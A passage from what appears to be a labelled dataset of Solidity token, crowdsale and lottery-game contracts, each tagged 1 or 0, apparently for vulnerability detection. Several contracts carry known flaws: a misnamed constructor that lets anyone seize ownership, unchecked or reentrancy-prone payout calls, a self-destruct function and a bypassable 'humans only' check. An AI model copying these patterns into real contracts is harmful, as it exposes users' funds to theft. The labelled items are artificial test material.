contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Bitelectroneum is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Bitelectroneum ";
string public constant symbol = "BETN";
uint public constant decimals = 8;
uint256 public totalSupply = 10000000000000e8;
uint256 public totalDistributed = 0;
uint256 public constant MIN_PURCHASE = 1 ether / 100;
uint256 public tokensPerEth = 7000000e8;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor () public {
owner = msg.sender;
uint256 devTokens = 2500000000e8;
distr(owner, devTokens);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function transferTokenTo(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function transferTokenToMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= MIN_PURCHASE );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 |
pragma solidity ^0.4.11;
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract E4LavaRewards
{
function checkDividends(address _addr) constant returns(uint _amount);
function withdrawDividends() public returns (uint namount);
function transferDividends(address _to) returns (bool success);
}
contract E4Lava is Token, E4LavaRewards {
event StatEvent(string msg);
event StatEventI(string msg, uint val);
enum SettingStateValue {debug, lockedRelease}
struct tokenAccount {
bool alloced;
uint tokens;
uint currentPoints;
uint lastSnapshot;
}
uint constant NumOrigTokens = 5762;
uint constant NewTokensPerOrigToken = 100000;
uint constant NewTokenSupply = 5762 * 100000;
uint public numToksSwitchedOver;
uint public holdoverBalance;
uint public TotalFeesReceived;
address public developers;
address public owner;
address public oldE4;
address public oldE4RecycleBin;
uint public decimals;
string public symbol;
mapping (address => tokenAccount) holderAccounts;
mapping (uint => address) holderIndexes;
mapping (address => mapping (address => uint256)) allowed;
uint public numAccounts;
uint public payoutThreshold;
uint public vestTime;
uint public rwGas;
uint public optInGas;
SettingStateValue public settingsState;
function E4Lava()
{
owner = msg.sender;
developers = msg.sender;
decimals = 2;
symbol = "E4ROW";
}
function applySettings(SettingStateValue qState, uint _threshold, uint _vest, uint _rw, uint _optGas )
{
if (msg.sender != owner)
return;
payoutThreshold = _threshold;
rwGas = _rw;
optInGas = _optGas;
if (settingsState == SettingStateValue.lockedRelease)
return;
settingsState = qState;
if (qState == SettingStateValue.lockedRelease) {
StatEvent("Locking!");
return;
}
for (uint i = 0; i < numAccounts; i++ ) {
address a = holderIndexes[i];
if (a != address(0)) {
holderAccounts[a].tokens = 0;
holderAccounts[a].currentPoints = 0;
holderAccounts[a].lastSnapshot = 0;
}
}
vestTime = _vest;
numToksSwitchedOver = 0;
if (this.balance > 0) {
if (!owner.call.gas(rwGas).value(this.balance)())
StatEvent("ERROR!");
}
StatEvent("ok");
}
function addAccount(address _addr) internal {
holderAccounts[_addr].alloced = true;
holderAccounts[_addr].tokens = 0;
holderAccounts[_addr].currentPoints = 0;
holderAccounts[_addr].lastSnapshot = TotalFeesReceived;
holderIndexes[numAccounts++] = _addr;
}
function totalSupply() constant returns (uint256 supply)
{
supply = NewTokenSupply;
}
function transfer(address _to, uint256 _value) returns (bool success)
{
if ((msg.sender == developers)
&& (now < vestTime)) {
return false;
}
if (holderAccounts[msg.sender].tokens >= _value && _value > 0) {
calcCurPointsForAcct(msg.sender);
holderAccounts[msg.sender].tokens -= _value;
if (!holderAccounts[_to].alloced) {
addAccount(_to);
}
calcCurPointsForAcct(_to);
holderAccounts[_to].tokens += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if ((_from == developers)
&& (now < vestTime)) {
return false;
}
if (holderAccounts[_from].tokens >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
calcCurPointsForAcct(_from);
holderAccounts[_from].tokens -= _value;
if (!holderAccounts[_to].alloced) {
addAccount(_to);
}
calcCurPointsForAcct(_to);
holderAccounts[_to].tokens += _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
balance = holderAccounts[_owner].tokens;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function calcCurPointsForAcct(address _acct) {
holderAccounts[_acct].currentPoints += (TotalFeesReceived - holderAccounts[_acct].lastSnapshot) * holderAccounts[_acct].tokens;
holderAccounts[_acct].lastSnapshot = TotalFeesReceived;
}
function () payable {
holdoverBalance += msg.value;
TotalFeesReceived += msg.value;
StatEventI("Payment", msg.value);
}
function blackHole() payable {
StatEventI("adjusted", msg.value);
}
function withdrawDividends() public returns (uint _amount)
{
calcCurPointsForAcct(msg.sender);
_amount = holderAccounts[msg.sender].currentPoints / NewTokenSupply;
if (_amount <= payoutThreshold) {
StatEventI("low Balance", _amount);
return;
} else {
if ((msg.sender == developers)
&& (now < vestTime)) {
StatEvent("Tokens not yet vested.");
_amount = 0;
return;
}
uint _pointsUsed = _amount * NewTokenSupply;
holderAccounts[msg.sender].currentPoints -= _pointsUsed;
holdoverBalance -= _amount;
if (!msg.sender.call.gas(rwGas).value(_amount)())
throw;
}
}
function transferDividends(address _to) returns (bool success)
{
if ((msg.sender == developers)
&& (now < vestTime)) {
return false;
}
calcCurPointsForAcct(msg.sender);
if (holderAccounts[msg.sender].currentPoints == 0) {
StatEvent("Zero balance");
return false;
}
if (!holderAccounts[_to].alloced) {
addAccount(_to);
}
calcCurPointsForAcct(_to);
holderAccounts[_to].currentPoints += holderAccounts[msg.sender].currentPoints;
holderAccounts[msg.sender].currentPoints = 0;
StatEvent("Trasnfered Dividends");
return true;
}
function setOpGas(uint _rw, uint _optIn)
{
if (msg.sender != owner && msg.sender != developers) {
return;
} else {
rwGas = _rw;
optInGas = _optIn;
}
}
function checkDividends(address _addr) constant returns(uint _amount)
{
if (holderAccounts[_addr].alloced) {
uint _currentPoints = holderAccounts[_addr].currentPoints +
((TotalFeesReceived - holderAccounts[_addr].lastSnapshot) * holderAccounts[_addr].tokens);
_amount = _currentPoints / NewTokenSupply;
}
}
function changeOwner(address _addr)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
owner = _addr;
}
function setDeveloper(address _addr)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
developers = _addr;
}
function setOldE4(address _oldE4, address _oldE4Recyle)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
oldE4 = _oldE4;
oldE4RecycleBin = _oldE4Recyle;
}
function haraKiri()
{
if (settingsState != SettingStateValue.debug)
throw;
if (msg.sender != owner)
throw;
suicide(developers);
}
function optInFromClassic() public
{
if (oldE4 == address(0)) {
StatEvent("config err");
return;
}
address nrequester = msg.sender;
if (holderAccounts[nrequester].tokens != 0) {
StatEvent("Account has already been allocd!");
return;
}
Token iclassic = Token(oldE4);
uint _toks = iclassic.balanceOf(nrequester);
if (_toks == 0) {
StatEvent("Nothing to do");
return;
}
if (iclassic.allowance(nrequester, address(this)) < _toks) {
StatEvent("Please approve this contract to transfer");
return;
}
iclassic.transferFrom.gas(optInGas)(nrequester, oldE4RecycleBin, _toks);
if (iclassic.balanceOf(nrequester) == 0) {
if (!holderAccounts[nrequester].alloced)
addAccount(nrequester);
holderAccounts[nrequester].tokens = _toks * NewTokensPerOrigToken;
holderAccounts[nrequester].lastSnapshot = 0;
calcCurPointsForAcct(nrequester);
numToksSwitchedOver += _toks;
StatEvent("Success Switched Over");
} else
StatEvent("Transfer Error! please contact Dev team!");
}
} | 0 |
pragma solidity ^0.4.12;
contract IMigrationContract {
function migrate(address addr, uint256 nas) returns (bool success);
}
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract GOLDKEYToken is StandardToken, SafeMath {
string public constant name = "GOLDKEY";
string public constant symbol = "GLDK";
uint256 public constant decimals = 18;
string public version = "1.0";
address public ethFundDeposit;
address public newContractAddr;
bool public isFunding;
uint256 public fundingStartBlock;
uint256 public fundingStopBlock;
uint256 public currentSupply;
uint256 public tokenRaised = 0;
uint256 public tokenMigrated = 0;
uint256 public tokenExchangeRate = 625;
event AllocateToken(address indexed _to, uint256 _value);
event IssueToken(address indexed _to, uint256 _value);
event IncreaseSupply(uint256 _value);
event DecreaseSupply(uint256 _value);
event Migrate(address indexed _to, uint256 _value);
function formatDecimals(uint256 _value) internal returns (uint256 ) {
return _value * 10 ** decimals;
}
function GOLDKEYToken(
address _ethFundDeposit,
uint256 _currentSupply)
{
ethFundDeposit = _ethFundDeposit;
isFunding = false;
fundingStartBlock = 0;
fundingStopBlock = 0;
currentSupply = formatDecimals(_currentSupply);
totalSupply = formatDecimals(1000000);
balances[msg.sender] = totalSupply;
if(currentSupply > totalSupply) throw;
}
modifier isOwner() { require(msg.sender == ethFundDeposit); _; }
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external {
if (_tokenExchangeRate == 0) throw;
if (_tokenExchangeRate == tokenExchangeRate) throw;
tokenExchangeRate = _tokenExchangeRate;
}
function increaseSupply (uint256 _value) isOwner external {
uint256 value = formatDecimals(_value);
if (value + currentSupply > totalSupply) throw;
currentSupply = safeAdd(currentSupply, value);
IncreaseSupply(value);
}
function decreaseSupply (uint256 _value) isOwner external {
uint256 value = formatDecimals(_value);
if (value + tokenRaised > currentSupply) throw;
currentSupply = safeSubtract(currentSupply, value);
DecreaseSupply(value);
}
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {
if (isFunding) throw;
if (_fundingStartBlock >= _fundingStopBlock) throw;
if (block.number >= _fundingStartBlock) throw;
fundingStartBlock = _fundingStartBlock;
fundingStopBlock = _fundingStopBlock;
isFunding = true;
}
function stopFunding() isOwner external {
if (!isFunding) throw;
isFunding = false;
}
function setMigrateContract(address _newContractAddr) isOwner external {
if (_newContractAddr == newContractAddr) throw;
newContractAddr = _newContractAddr;
}
function changeOwner(address _newFundDeposit) isOwner() external {
if (_newFundDeposit == address(0x0)) throw;
ethFundDeposit = _newFundDeposit;
}
function migrate() external {
if(isFunding) throw;
if(newContractAddr == address(0x0)) throw;
uint256 tokens = balances[msg.sender];
if (tokens == 0) throw;
balances[msg.sender] = 0;
tokenMigrated = safeAdd(tokenMigrated, tokens);
IMigrationContract newContract = IMigrationContract(newContractAddr);
if (!newContract.migrate(msg.sender, tokens)) throw;
Migrate(msg.sender, tokens);
}
function transferETH() isOwner external {
if (this.balance == 0) throw;
if (!ethFundDeposit.send(this.balance)) throw;
}
function allocateToken (address _addr, uint256 _eth) isOwner external {
if (_eth == 0) throw;
if (_addr == address(0x0)) throw;
uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate);
if (tokens + tokenRaised > currentSupply) throw;
tokenRaised = safeAdd(tokenRaised, tokens);
balances[_addr] += tokens;
AllocateToken(_addr, tokens);
}
function () payable {
if (!isFunding) throw;
if (msg.value == 0) throw;
if (block.number < fundingStartBlock) throw;
if (block.number > fundingStopBlock) throw;
uint256 tokens = safeMult(msg.value, tokenExchangeRate);
if (tokens + tokenRaised > currentSupply) throw;
tokenRaised = safeAdd(tokenRaised, tokens);
balances[msg.sender] += tokens;
IssueToken(msg.sender, tokens);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract BFTToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "Burma first token";
string public constant symbol = "BFT";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 300000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function QMQCoin () public {
owner = msg.sender;
value = 5000e8;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | 1 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
address addressOfTokenUsedAsReward
) public{
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
price = (0.00001 ether)/100000 ;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline public {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline public {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xee83e20C6AEab2284685Efe0B5ffb250bE5480bf);
address private admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 1 seconds;
uint256 private rndGap_ = 1 seconds;
uint256 constant private rndInit_ = 5 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
